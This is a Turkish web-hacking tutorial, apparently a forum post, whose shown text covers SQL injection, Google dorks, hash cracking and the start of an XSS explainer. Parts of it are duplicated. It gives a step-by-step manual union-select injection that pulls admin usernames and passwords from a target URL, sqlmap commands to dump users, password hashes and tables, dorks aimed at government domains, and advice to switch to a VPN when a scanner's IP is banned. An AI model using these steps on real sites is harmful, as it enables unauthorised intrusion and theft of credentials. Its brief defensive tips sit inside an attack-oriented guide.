Hepinize selamlar arkadaşlar. Bu konumuzda Web Hacking'e giriş yapacağız. Detaylı anlatımımız ile birlikte web site hacklemeyi, saldırganların yapabileceği tehdit etkenleri ve boyutlarını, web site hacklenmesiyle beraber savunma yollarını bu konuda öğrenebileceksiniz. Kısaca bu konu sizlere rehber niteliğinde olacak. Lafı uzatmadan konumuza geçelim.
Konumuzun içeriği;
> 1. SQL Açıkları
1.1 SQL Açığı Nedir?
1.2 SQL Açığı Nasıl Tespit Edilir?
1.3 SQL Açığı Nasıl Sömürülür?
1.3.1 Manuel SQL İle Sömürme
1.3.2 SQL Araçları İle Sömürme
1.4 SQL Açığı Nasıl Kapatılır?
1.5 MD5 Nedir?
1.6 MD5 ve Benzeri Şifrelenmiş Parolalar Nasıl Kırılır?
> 2. Dork Nedir?
2.1 Dork Oluşturma
2.2 Etkili Dork Oluşturmak
2.3 Scanner Araçları
> 3. XSS Açıkları
3.1 Yansıyan XSS Saldırısı
3.2 Depolanan XSS Saldırısı
3.3 DOM Tabanlı XSS Saldırısı
3.4 XSS Hakkında Diğer Bilgiler ve Saldırı Önleme
> 4. Code İnjection
4.1 Hedef Siteye Shell Atma
4.2 Shell Atarak Server Bypass Etme (Config Okuma)
4.3 Web Site Saldırılarına Karşı Önlemler
> 5. Brute Force
5.1 Kaba Kuvvet Saldırıları
> 6. RFI ve LFI
6.1 RFI Nedir?
6.2 LFI Nedir?
6.3 RFI ve LFI Aralarındaki Farklar Nelerdir?
6.4 Saldırıdan Korunma Yöntemleri
6.5 Uzaktan Dosya Ekleme Örnekleri
6.6 DIY RFI Önleme ve Azaltma
> 7. CSRF
7.1 CSRF Saldırısı Nasıl Oluşturulur?
7.2 Saldırı Yapmak İçin Gerekenler
7.3 CSRF Nasıl Tespit Edilir?
7.4 CSRF Zafiyetine Karşı Alınabilecek Önlemler
> 8. Login Bypass
8.1 Admin Panel Bulma
8.2 Admin Panel Bypass Etme
8.3 Örnek Bypass Kodları
> 9. Hedef Web Site Hakkında Bilgi Toplama
9.1 Sunucu İçerisini Görüntüleme
9.2 İP Adresi Geçmişi Görme
> 10. DDoS Saldırıları
10.1 DoS Nedir?
10.2 DDoS Nedir?
10.3 DoS ve DDoS Aralarındaki Farklar Nelerdir?
10.4 Botnet Nedir?
10.5 Zombi PC Nedir?
10.6 VDS/VPS Sunucu Nedir?
10.7 VDS ve VPS Aralarındaki Farklar Nelerdir?
10.8 VDS/VPS Sunucu Nasıl Alınır?
10.9 Sunucudan Saldırı Nasıl Yapılır?
10.10 Saldırılara Karşı Koruma Nasıl Sağlanır?
10.11 Saldırı Tespit ve Analiz
10.12 Modeminize Gelen Saldırıları Tespit Etme
1. SQL Açıkları
SQL kavramı kelime anlamı olarak ”Yapılandırılmış Sorgu Dili” (Structured Query Language) anlamına gelmektedir. Yani ortada bir sorgu-yanıt ilişkisi vardır. Örneğin bir sosyal medya uygulamasında veya bir e-ticaret sitesinde sizin kayıt olurken girdiğiniz kullanıcı adı ve şifreler bir veri tabanına kaydedilir ve bundan sonraki login işlemlerinizde, sistem kullanıcı adı şifre kombinasyonlarınızı veri tabanından sorgulayarak eşleştirmeye çalışır. Eşleşirse girersiniz, eşleşmezse giremezsiniz. Dolayısıyla SQL veritabanları bir request-response altyapısıyla çalışır.
1.1 SQL Açığı Nedir?
Üstte dediğim gibi veritabanları, tıpkı yazılım dilleri gibi standart bir syntax türüne sahiptir ve bu veri tabanlarını yazan yazılımcıların yaptığı mantıksal hatalar doğrultusunda belirli sistemsel zafiyetler ortaya çıkar. SQL açığının asıl nedeni kullanıcıdan gelen request’i sorgulamadan ona karşılık gelen response’u kullanıcıya vermesidir. Maalesef bu zafiyet ne kadar hafife alınsa da veri güvenliği açısından şirketler için hiç iyi sonuçlar doğurmayabilir. Zira SQL Injection zafiyeti sayesinde veri tabanlarıyla root izni olmadan gerekli request’i yöneltip istediğiniz response’u alabilirsiniz.
1.2 SQL Açığı Nasıl Tespit Edilir?
SQL Injection site URL’lerinde belli olan bir zafiyettir. Tabi bu siteleri burada paylaşmamız etik olmayacağından ornek-site.com üzerinden gösterecek olursak;
Sonunda gördüğümüz ‘sayfa.php?id=x' yapısı bütün SQL Injection zafiyetlerinde bulunmaktadır. Fakat bu ibare bulunan bütün sistemlerde SQL açığı olmayabilir.
Bu bahsettiğimiz ibare aslında bir veri tabanının giriş kapısıdır ve bu işi yapabilmek için girişteki güvenlikten kaçmamız gerekir. Bu nedenle kılık değiştiririz. Bu işlem tırnak (‘) işaretiyle string bölümünden kaçmak demektir. Bu işlem sonrasında alacağınız hata şu şekilde olabilir:
Konumuzun içeriği;
> 1. SQL Açıkları
1.1 SQL Açığı Nedir?
1.2 SQL Açığı Nasıl Tespit Edilir?
1.3 SQL Açığı Nasıl Sömürülür?
1.3.1 Manuel SQL İle Sömürme
1.3.2 SQL Araçları İle Sömürme
1.4 SQL Açığı Nasıl Kapatılır?
1.5 MD5 Nedir?
1.6 MD5 ve Benzeri Şifrelenmiş Parolalar Nasıl Kırılır?
> 2. Dork Nedir?
2.1 Dork Oluşturma
2.2 Etkili Dork Oluşturmak
2.3 Scanner Araçları
> 3. XSS Açıkları
3.1 Yansıyan XSS Saldırısı
3.2 Depolanan XSS Saldırısı
3.3 DOM Tabanlı XSS Saldırısı
3.4 XSS Hakkında Diğer Bilgiler ve Saldırı Önleme
> 4. Code İnjection
4.1 Hedef Siteye Shell Atma
4.2 Shell Atarak Server Bypass Etme (Config Okuma)
4.3 Web Site Saldırılarına Karşı Önlemler
> 5. Brute Force
5.1 Kaba Kuvvet Saldırıları
> 6. RFI ve LFI
6.1 RFI Nedir?
6.2 LFI Nedir?
6.3 RFI ve LFI Aralarındaki Farklar Nelerdir?
6.4 Saldırıdan Korunma Yöntemleri
6.5 Uzaktan Dosya Ekleme Örnekleri
6.6 DIY RFI Önleme ve Azaltma
> 7. CSRF
7.1 CSRF Saldırısı Nasıl Oluşturulur?
7.2 Saldırı Yapmak İçin Gerekenler
7.3 CSRF Nasıl Tespit Edilir?
7.4 CSRF Zafiyetine Karşı Alınabilecek Önlemler
> 8. Login Bypass
8.1 Admin Panel Bulma
8.2 Admin Panel Bypass Etme
8.3 Örnek Bypass Kodları
> 9. Hedef Web Site Hakkında Bilgi Toplama
9.1 Sunucu İçerisini Görüntüleme
9.2 İP Adresi Geçmişi Görme
> 10. DDoS Saldırıları
10.1 DoS Nedir?
10.2 DDoS Nedir?
10.3 DoS ve DDoS Aralarındaki Farklar Nelerdir?
10.4 Botnet Nedir?
10.5 Zombi PC Nedir?
10.6 VDS/VPS Sunucu Nedir?
10.7 VDS ve VPS Aralarındaki Farklar Nelerdir?
10.8 VDS/VPS Sunucu Nasıl Alınır?
10.9 Sunucudan Saldırı Nasıl Yapılır?
10.10 Saldırılara Karşı Koruma Nasıl Sağlanır?
10.11 Saldırı Tespit ve Analiz
10.12 Modeminize Gelen Saldırıları Tespit Etme
1. SQL Açıkları
SQL kavramı kelime anlamı olarak ”Yapılandırılmış Sorgu Dili” (Structured Query Language) anlamına gelmektedir. Yani ortada bir sorgu-yanıt ilişkisi vardır. Örneğin bir sosyal medya uygulamasında veya bir e-ticaret sitesinde sizin kayıt olurken girdiğiniz kullanıcı adı ve şifreler bir veri tabanına kaydedilir ve bundan sonraki login işlemlerinizde, sistem kullanıcı adı şifre kombinasyonlarınızı veri tabanından sorgulayarak eşleştirmeye çalışır. Eşleşirse girersiniz, eşleşmezse giremezsiniz. Dolayısıyla SQL veritabanları bir request-response altyapısıyla çalışır.
1.1 SQL Açığı Nedir?
Üstte dediğim gibi veritabanları, tıpkı yazılım dilleri gibi standart bir syntax türüne sahiptir ve bu veri tabanlarını yazan yazılımcıların yaptığı mantıksal hatalar doğrultusunda belirli sistemsel zafiyetler ortaya çıkar. SQL açığının asıl nedeni kullanıcıdan gelen request’i sorgulamadan ona karşılık gelen response’u kullanıcıya vermesidir. Maalesef bu zafiyet ne kadar hafife alınsa da veri güvenliği açısından şirketler için hiç iyi sonuçlar doğurmayabilir. Zira SQL Injection zafiyeti sayesinde veri tabanlarıyla root izni olmadan gerekli request’i yöneltip istediğiniz response’u alabilirsiniz.
1.2 SQL Açığı Nasıl Tespit Edilir?
SQL Injection site URL’lerinde belli olan bir zafiyettir. Tabi bu siteleri burada paylaşmamız etik olmayacağından ornek-site.com üzerinden gösterecek olursak;
Sonunda gördüğümüz ‘sayfa.php?id=x' yapısı bütün SQL Injection zafiyetlerinde bulunmaktadır. Fakat bu ibare bulunan bütün sistemlerde SQL açığı olmayabilir.
Bu bahsettiğimiz ibare aslında bir veri tabanının giriş kapısıdır ve bu işi yapabilmek için girişteki güvenlikten kaçmamız gerekir. Bu nedenle kılık değiştiririz. Bu işlem tırnak (‘) işaretiyle string bölümünden kaçmak demektir. Bu işlem sonrasında alacağınız hata şu şekilde olabilir:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '’index.php?id=2’’' at line 1
Eğer bu hata varsa SQL açığı mevcuttur, hatta daha ilerisi olarak şunu söyleyebilirim; sayfa görüntüsünde bir değişiklik var ise zafiyetin mevcut olma ihtimali yüksektir.
1.3 SQL Açığı Nasıl Sömürülür?
SQL açıklı bir hedef site bulduğumuzu var sayarsak bu açığı sömürmenin pek çok yolu mevcuttur. Bazı toollar ile (az sonra bahsedeceğim) yada manuel yol ile. İlk olarak manuel sql nedir buna bakalım.
1.3.1 Manuel SQL İle Sömürme
http://www.hedefsitemiz.com/ürün.php?id=4' (Tırnak işreti bıraktık sayfada hata , Veri kaybı vb. olursa sql açığı mevcuttur. )
http://www.hedefsitemiz.com/ürün.php?id=4' order by 1 -- - (Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz) diyelim ki hatayı 5 te aldık
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2,3,4 -- - bu şekilde yaptıktan sonra diyelim ki 3 sayısı yansıdı sayfaya 1 ve 5 arasında bir sayı yansıması gerek 3 yansıdı diyelim.
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2,version(),4 -- -
bu kod ile version bilgisini öğrenebiliriz.
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2,database(),4 -- -
bu kod ile database ismini öğrenebiliriz.
Tablo adı nasıl öğrenilir? :
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2, table_name,4 from information_schema.tables -- -
Burdan admin tablosunu bulunuz diyelimki tablo adı admin onu nasıl çekeceğiz
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2, column_name,4 from information_schema.columns where table_name=admin -- -
bu şekildede admin tablosunu çekiyoruz
içinde Her zaman username, password, id çıkar onları nasıl çekeceğiz ?
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2, password,4 from admin -- -
bu şekilde password çekebilirsiniz password silip username yazarsanız,
username kısmını da çekersiniz.
Manuel SQL Kullanımı İçin TIKLAYINIZ
Manuel SQL Waf Bypass İçin TIKLAYINIZ
1.3.2 SQL Araçları İle Sömürme
Burada SQL araçlarından kasıt sql açıklarını daha kolay yoldan sömürme işlemi yapan toollardır. Örneğin havij, sqlmap vb. gibi.
Havij aracından bahsedecek olursak çok fazla detaya girmeyeceğim. Zaten basit bir araç. Detaylı okumak isteyenler bu konuya bakabilir;
Havij Kullanımı İçin Tıklayınız.
SQLMap Aracını herkes bilir. Son yıllarda da en çok kullanılan ve etkili araçlardan birisidir. Sqlmap python dili kullanılarak yazılan , veritabanı açığını sömürerek veritabanı bilgilerini dump eden bir çeşit hack aracıdır.
Kullanım ve Parametreler
Sqlmap başlangıç olarak kullanımı oldukça basit ve bir o kadar etkili bir araçtır. Bu tool içinde kullanılan bazı parametreleri örneklerle anlatarak sqlmap’in nasıl çalıştığını anlayalım.
Options sekmesi
1.3 SQL Açığı Nasıl Sömürülür?
SQL açıklı bir hedef site bulduğumuzu var sayarsak bu açığı sömürmenin pek çok yolu mevcuttur. Bazı toollar ile (az sonra bahsedeceğim) yada manuel yol ile. İlk olarak manuel sql nedir buna bakalım.
1.3.1 Manuel SQL İle Sömürme
http://www.hedefsitemiz.com/ürün.php?id=4' (Tırnak işreti bıraktık sayfada hata , Veri kaybı vb. olursa sql açığı mevcuttur. )
http://www.hedefsitemiz.com/ürün.php?id=4' order by 1 -- - (Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz) diyelim ki hatayı 5 te aldık
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2,3,4 -- - bu şekilde yaptıktan sonra diyelim ki 3 sayısı yansıdı sayfaya 1 ve 5 arasında bir sayı yansıması gerek 3 yansıdı diyelim.
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2,version(),4 -- -
bu kod ile version bilgisini öğrenebiliriz.
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2,database(),4 -- -
bu kod ile database ismini öğrenebiliriz.
Tablo adı nasıl öğrenilir? :
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2, table_name,4 from information_schema.tables -- -
Burdan admin tablosunu bulunuz diyelimki tablo adı admin onu nasıl çekeceğiz
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2, column_name,4 from information_schema.columns where table_name=admin -- -
bu şekildede admin tablosunu çekiyoruz
içinde Her zaman username, password, id çıkar onları nasıl çekeceğiz ?
http://www.hedefsitemiz.com/ürün.php?id=-4' union select 1,2, password,4 from admin -- -
bu şekilde password çekebilirsiniz password silip username yazarsanız,
username kısmını da çekersiniz.
Manuel SQL Kullanımı İçin TIKLAYINIZ
Manuel SQL Waf Bypass İçin TIKLAYINIZ
1.3.2 SQL Araçları İle Sömürme
Burada SQL araçlarından kasıt sql açıklarını daha kolay yoldan sömürme işlemi yapan toollardır. Örneğin havij, sqlmap vb. gibi.
Havij aracından bahsedecek olursak çok fazla detaya girmeyeceğim. Zaten basit bir araç. Detaylı okumak isteyenler bu konuya bakabilir;
Havij Kullanımı İçin Tıklayınız.
SQLMap Aracını herkes bilir. Son yıllarda da en çok kullanılan ve etkili araçlardan birisidir. Sqlmap python dili kullanılarak yazılan , veritabanı açığını sömürerek veritabanı bilgilerini dump eden bir çeşit hack aracıdır.
Kullanım ve Parametreler
Sqlmap başlangıç olarak kullanımı oldukça basit ve bir o kadar etkili bir araçtır. Bu tool içinde kullanılan bazı parametreleri örneklerle anlatarak sqlmap’in nasıl çalıştığını anlayalım.
Options sekmesi
- -h /–help: Basit yardım ve kullanım özelliklerini yazdıran komutumuzdur.
- -hh: Advanced yardım ve kullanım özelliklerini yazdıran komutumuzdur.
- -v: Default olarak 1 tanımlı gelen ve sqlmap çalıştığı süre zarfında bize gösterdiği çıktıların gösterimini belirlediğimiz verbose komutumuzdur. 0 ile 6 arasında değişmektedir. 0 en az çıktıyı döndürürken, 6 en çok çıktı ile sonuçları döndürmektedir.
Target sekmesi
Hedef(ler)in seçimini yapmamız için kullanmamız gereken parametrelerin bulunduğu kategorimizdir. En azından birinin seçilmesi gerekmektedir.
- -u, –url: Veri tabanına direkt erişimimiz yoksa ve injection yolu ile deneme yapmak istiyorsak kullanabileceğimiz komutumuzdur.
-
- Örnek kullanım:
sqlmap -u “http://www.websitesi.com/test.php?id=1” - -g: Google dork ile belirli bir pattern’e sahip siteler üzerinde testler gerçekleştirmemizi sağlayan komutumuzdur.
-
- Örnek kullanım:
sqlmap -g “.php?id=”
Injection Sekmesi:
Hangi parametrelerin test edileceği, kişisel payload tanımlamaları ve tamper script’leri tanımlamaları gibi ayarlamaları yapabileceğimiz parametrelerin bulunduğu kategorimizdir.
- –dbms: Sqlmap’e yardımcı olmak adına eğer backend’de çalışan database management system’i biliyorsak, dbms ile tanımlayabilmekteyiz.
-
- Örnek kullanım:
sqlmap -u “www.siteadi.com/testet.php?id=1″ –dbms=”MySql” - –tamper: Eğer kullanıcı ile back-end database arasında zayıf bir giriş kontrolü varsa injection yapılacak string’leri WAF’tan geçirebilmek amacı ile kullanılan parametremizdir. Önüne alacağı parametre sqlmap klasörü içerisindeki tamper klasörü içerisinden kullanılır.
-
- Örnek kullanım:
sqlmap -u “www.siteadi.com/testet.php?id=1″ –tamper=”between” - –prefix: Test edilecek parametreleri, payload’ların önüne istediğimiz değeri ekleyerek daha da özelleştirebileceğimiz parametremizdir.
-
- Örnek kullanım:
sqlmap -u “www.siteadi.com/testet.php?ad=deneme” –prefix “‘)”
Enumeration Sekmesi:
Veri tabanı yönetim sistemi hakkında bilgilendirme için kullanacağımız parametrelerin bulunduğu kategorimizdir. Tablo içerisindeki verileri çekme, bilgi alma amacıyla kullanılır.
- –all: Bütün parametlerin aynı anda çalıştırıldığı komuttur.
-
- Örnek kullanım:
sqlmap -u “www.siteadi.com/testet.php?id=1” –all
- –users: Veri tabanı yönetim sistemi kullanıcılarını listelemek için kullanabileceğimiz parametremizdir.
-
- Örnek kullanım:
sqlmap -u “www.siteadi.com/testet.php?id=1” –users
- –passwords: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise şifreleri hash olarak çekmemize yardımcı olur. Sqlmap bu işlem için önce kullanıcıları çeker. Ardından pass hash’lerini çekmeye çalışır.
-
- Örnek kullanım:
sqlmap -u “www.siteadi.com/testet.php?id=1” –passwords
- –dbs: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise veri tabanı isimlerini çekebilmemize yarayan parametremizdir.
-
- Örnek kullanım:
sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs
- –tables: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise seçtiğimiz veri tabanı içerisindeki tüm tabloları çekebilmemize yarayan parametremizdir.
-
- Örnek kullanım:
sqlmap -u “www.siteadi.com/testet.php?id=1” –tables
sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniadi –tables
- –columns: Eğer geçerli user’ın, sistem tablolarını okuma izni var ise seçtiğimiz veri tabanı içerisindeki seçtiğimiz tablodaki tüm kolonları çekmemize yarayan parametremizdir.
-
- Örnek kullanım:
sqlmap -u “www.siteadi.com/testet.php?id=1” –columns
sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi –columns
- –dump: Veri tabanımız ya da tablomuzun içeriğini dump etmek istiyorsak, kullanabileceğimiz parametremizdir.
-
- Örnek kullanım:
sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi –dump
Daha Detaylı SQLMAP Kullanımı İçin Tıklayınız.
1.4 SQL Açığı Nasıl Kapatılır?
Günümüzde aktif halde eskiye nazaran çok fazla bulunmasada hala SQL açıkları önemli bir açık olarak günümüz saldırılarında rol almaktadır.
Gelin SQL Injection Açığının PHP de oluşmasında önemli rol oynayan kodlara bakalım;
PHP:
$id $_GET[ficT];
$kayit mysql_query(“SELECT FROM ürünler WHERE id $id”)
Yukarıda bulunan kod satırını yorumlayacak olursak get ile bir önceki sayfadan çektiğimiz id değerini sorgulatmadan kayıt ürünler tablosuna yönlendirdik burda bulunan kod satırına
müdahalemiz söz konusu aşağıdaki örnekte olduğu gibi;
+] www.hedefsitemiz.com/urunler.php?id=2
web sitemizin get ile döndürdüğü id değeri :
Ürünler tablosundan get ile gelen değer üzerinden php de kontrol yapılmadan sql veritabanına gönderilmektedir başlıca saldırı tipleri bunlardır.
Bunlara önlem alabilmek için bir çok yöntem bulunmakta saldırıların gerçekleştiği kod satırına göz attığımızda sorgu yapılmadan sql ile bağlantı kurulduğundan temel olarak gelen id değerini bir sorguya dahil ettikten sonra sql ile bağlantı sağlamamız bu konuda bazı önlemler alınabilmekte sorgu yapabileceğimiz fonksiyon;
PHP:
$id= mysql_real_escape_string($id);
Bu fonksiyon ile gelen id değerini bir filtreden geçirerek id değerini sorguluyoruz.
Hata karakterlerinin filtrelemesini yapmaktadır ancak bu fonksiyon sql ınjection ataklarını yeterince engelleyememektedir id değerinin integer değerli baz alarak bu fonksiyonu kullanabiliriz.
PHP:
is_numeric()
Kullanım örneği ;
PHP:
$id 5;
if(is_numeric($id)){
echo ’Bu bir sayıdır’;
}
else {
echo ’Bu bir sayı değildir.';
>
Bu fonksiyonu tekil bir şekilde çalıştırdığımızda 5 değerinin yanına hata karakterleri uyguladığımızda else cevabını döndürecektir.
Tabi örnekler çoğaltılabilir fakat verdiğim örnek ile beraber basitçe sql açıklarınızı kapatabilir ve önlemlerinizi alabilirsiniz.
1.5 MD5 Nedir?
MD5 İngilizcesiyle (Message-Digest algorithm 5) aslında bir şifreleme yöntemi değil, bir hash function‘dır. Yani herhangi bir uzunlukta verilen mesajı (veya dosyayı) alıp fazla uzun olmayan bir harf ve sayı dizisine çevirir. Siz 700mb büyüklüğünde bir Linux dağıtımının .iso dosyasını indirseniz de, “merhaba, nasılsın?” mesajı yazsanız da, hepsinin MD5 sonucu 128bit uzunluğundadır. 128bit ise 128/4 = 32 hexadecimal sayıyla ifade edilebilir.
1.6 MD5 ve Benzeri Şifrelenmiş Parolalar Nasıl Kırılır?
Günümüzde SQL açıkları çok fazla yaygın olmasa bile bulduğunuz sql açıklı sitenin şifreleri şifrelenmiş (hashlanmiş) olabilir. Bunun türleri genellikle MD5 olur. Tabi illa md5 olacak diye birşey yok pek çok şifreleme türü mevcuttur. Peki biz bu parolaları nasıl kıracağız ondan bahsedelim.
Bazı web sitelerini kullanarak kırabilirsiniz;
1. Site İçin Tıklayınız
2. Site İçin Tıklayınız
3. Site İçin Tıklayınız
4. Site İçin Tıklayınız
5. Site İçin Tıklayınız
Veya john the ripper, hash decrytp ile kırabilirsiniz.
2. Dork Nedir?
Hepimizin en az bir kere duyduğu dork kavramı, interneti daha verimli ve iyiye kullanabilmek amacıyla kullanılabilir. Bununla birlikte farklı bir kullanım amacı ise hacking'dir. Hack işlemlerinde oldukça kullanılan dork, çeşitli sitelerdeki açıkları bulmak amacıyla kullanılabilir. Mesela "inurlphp?id=" dorku açık bulmaya yarayan dorklardan biridir. Aynı zamanda kişi hakkında çeşitli bilgiler toplamayı ve istihbarat elde etmek için kullanılır.
Dorkların pek çok çeşitleri mevcuttur. Bilgi toplama amaçlı, saldırı amaçlı, açık arama amaçlı vb. Aynı zamanda dork üretmenin de pek çok yöntemi mevcuttur.
2.1 Dork Oluşturma
Google dorks , google üzerindeki aramalarımızı daha efektif ve hızlı şekilde yapabilmemize yarayan sorgulara verilen isimdir. Bu şekilde önümüze gereksiz siteler çıkmaz ve zamandan tasarruf ederiz.
1) Intitle: Bu dork sayesinde yazdığınız kelimenin aynısını başlığında içeren siteler karşımıza gelecektir.
Örnek: intitle:cybersecurity
2) Intext: Bu dork sayesinde yazdığımız kelimeyi text içerisinde arayıp bulacaktır ve bulduğu siteleri bize döndürecektir.
Örnek: intextpassword
3) Ext: Bu dork sayesinde aradığımız dosyanın uzantısını belileyebiliriz.
Örnek: intitle:login ext:log
4) Allintext: Bu dork sayesinde aradığınız kelimeyi tüm text içerisinde ararsınız.
Örnek: allintext:sqlite
5) Inurl: Bu dork sayesinde url içerisinde yazdığımız kelimeyi ararız.
Örnek: inurl:edu.tr
6) Cache: Bu dork sayesinde aranan sitenin önbelleğe alınmış sürümü karşımıza gelecektir.
Örnek: cache:google.com
7) Filetype: Bu dork -ext- dorku ile benzer şekilde çalışır. Aradığımız dosya türünde sonuçlar karşımıza getirir.
Örnek: intext:hacking filetypepdf
8) Related: Bu dork aradığımız sayfalara benzer sayfaları karşımıza getirir.
Örnek: related:amazon.com
9) Book: Bu dork sayesinde aradığımız kitabı buluyoruz.
Örnek: book:Black
10) Maps: Bu dork sayesinde bulmak istediğimiz konumlara erişebiliriz.
Örnek: maps:scotland
Aynı zamanda dork oluşturucu programlar da mevcut. Örnek olarak sizlere tavsiye edeceğim Veteran Dork Studio 3 programıdır.
İncelemek veya kullanmak isteyenler için;
Veteran Dork Studio Programı İçin TIKLAYINIZ
2.2 Etkili Dork Oluşturmak
Hedefimize göre filtrelemeli dork oluşturmak için aslında çok zor olmayan basit yollar mevcuttur.
Yukarıda anlattığım bilgiler etkili ve yaratıcı dorklar oluşturmanız için size yardımcı olacaktır. Dorkları oluştururken gerçekten ne aradığınızı bilmeniz gerekiyor. Dorkların diziliş şekli genel itibariyle aşağıdaki şekilde olmalıdır;
Kod:
Google operatörü (şart değil):domain adı (şart değil).domain uzantısı (şart değil).ülke uzantısı (şart değil)/zafiyet içeren adres
Örnek olarak zafiyet içeren ekimizin index.php?id= olduğunu varsayalım.
Kod:
index.php?id=[/SIZE][/COLOR][/CENTER][/SIZE][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][SIZE=4][CENTER][COLOR=rgb(255, 255, 255)][SIZE=4]
[CENTER].xx/index.php?id=
.com.xx/index.php?id=
yyy.com.xx/index.php?id=
inurl:yyy.com.xx/index.php?id=
inurl:yyy.org.xx/index.php?id=
inurl:yyy.gov.xx/index.php?id=
subdomain.yyy.gov.xx/index.php?id=
Admin site:yyy.gov.xx
Administrator site:subdomain.yyy.gov.xx
Yukarıdaki örnek gibi dorklar oluşturarak geliştirebilirsiniz. Güvenlik zafiyeti içeren scriptleri tespit etmek için, Exploit yayınlayan siteleri takip edebilirsiniz. En büyük Exploit kütüphanesi Exploit-DB yi takip edebilirsiniz.
2.3 Scanner Araçları
Scanner araçları, ona verdiğiniz dork ile google üzerinden açık barındırabilecek siteleri tarar, açık olduğunu tespit ettiği siteleri liste haline getirip sunan ve saldırı yapabilmenizi kolaylaştıran oldukça yararlı ve sağlam araçlardır.
Örnek olarak Gr3eNoX Exploit Scanner aracını kullanabilirsiniz.
Aracın bulunduğu konuya gitmek için TIKLAYINIZ.
Araç eğer taramıyor hata veriyorsa İP adresiniz ban yemiştir. Bunun için VPN kullanarak bu sorunun da önüne geçebilirsiniz. İP adresi değiştirdikten sonra tekrardan site taramaya ve sizlere site bulmaya devam edecektir.
3. XSS Açığı Nedir?
Cross-Site Scripting (XSS olarak da bilinir), bir saldırganın, kullanıcıların güvenlik açığı bulunan bir uygulamayla olan etkileşimlerini tehlikeye atmasına olanak tanıyan bir web güvenlik açığıdır. Bir saldırganın, farklı web sitelerini birbirinden ayırmak için tasarlanmış aynı kaynak politikasını atlatmasına olanak tanır. Cross-Site Scripting güvenlik açıkları normalde bir saldırganın kurban kullanıcı gibi görünmesine, kullanıcının gerçekleştirebileceği tüm eylemleri gerçekleştirmesine ve kullanıcının herhangi bir verisine erişmesine olanak tanır. Kurban kullanıcı uygulama içinde ayrıcalıklı erişime sahipse, saldırgan uygulamanın tüm işlevleri ve verileri üzerinde tam denetim sahibi olabilir.
XSS çalışma mantığına gelirsek Cross-Site Scripting, savunmasız bir web sitesini, kullanıcılara kötü amaçlı JavaScript döndürmesi için manipüle ederek çalışır. Kötü amaçlı kod bir kurbanın tarayıcısında yürütüldüğünde, saldırgan uygulama ile etkileşimini tamamen tehlikeye atabilir.
Üç ana XSS saldırısı türü vardır. Bunlar:
- Kötü amaçlı komut dosyasının geçerli HTTP isteğinden geldiği yansıtılan XSS .
- Saklanan XSS , kötü amaçlı komut dosyasının web sitesinin veritabanından geldiği yer.
- Güvenlik açığının sunucu tarafı kodu yerine istemci tarafı kodunda bulunduğu DOM tabanlı XSS .
3.1 Yansıyan XSS Saldırısı
Reflected XSS , Cross-Site Scripting'in en basit çeşididir. Bir uygulama bir HTTP isteğinde veri aldığında ortaya çıkar ve bu verileri güvenli olmayan bir şekilde anında yanıta dahil eder.
Yansıtılan bir XSS güvenlik açığının basit bir örneği :
<p>Status: All is well.</p>
Uygulama, verileri başka bir şekilde işlemez, bu nedenle bir saldırgan aşağıdaki gibi kolayca bir saldırı oluşturabilir:
<p>Status: <script>/* Bad stuff here... */</script></p>
Kullanıcı, saldırgan tarafından oluşturulan URL'yi ziyaret ederse, saldırganın komut dosyası, kullanıcının uygulama ile oturumu bağlamında kullanıcının tarayıcısında yürütülür. Bu noktada, komut dosyası herhangi bir eylemi gerçekleştirebilir ve kullanıcının erişimi olan herhangi bir veriyi alabilir.
3.2 Depolanan XSS Saldırısı
Saklanan XSS (kalıcı veya ikinci dereceden XSS olarak da bilinir), bir uygulama güvenilmeyen bir kaynaktan veri aldığında ve bu verileri daha sonraki HTTP yanıtlarına güvenli olmayan bir şekilde dahil ettiğinde ortaya çıkar.
Söz konusu veriler HTTP istekleri aracılığıyla uygulamaya gönderilebilir; örneğin, bir blog gönderisine yapılan yorumlar, bir sohbet odasındaki kullanıcı takma adları veya bir müşteri siparişindeki iletişim bilgileri. Diğer durumlarda, veriler diğer güvenilmeyen kaynaklardan gelebilir; örneğin, SMTP üzerinden alınan mesajları görüntüleyen bir web posta uygulaması, sosyal medya gönderilerini görüntüleyen bir pazarlama uygulaması veya ağ trafiğinden gelen paket verilerini görüntüleyen bir ağ izleme uygulaması.
İşte saklanan bir XSS güvenlik açığının basit bir örneği . Bir mesaj panosu uygulaması, kullanıcıların diğer kullanıcılara görüntülenen mesajları göndermesine izin verir:
<p>Hello, this is my message!</p>
Uygulama, verilerin başka bir şekilde işlenmesini gerçekleştirmez, bu nedenle bir saldırgan, diğer kullanıcılara saldıran bir mesajı kolayca gönderebilir:
<p><script>/* Bad stuff here... */</script></p>
3.3 DOM Tabanlı XSS Saldırısı
DOM tabanlı XSS ( DOM XSS olarak da bilinir ), bir uygulama, genellikle verileri DOM'a geri yazarak, güvenilmeyen bir kaynaktan gelen verileri güvenli olmayan bir şekilde işleyen bazı istemci tarafı JavaScript içerdiğinde ortaya çıkar.
Aşağıdaki örnekte, bir uygulama, bir giriş alanındaki değeri okumak ve bu değeri HTML içindeki bir öğeye yazmak için JavaScript kullanır:
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
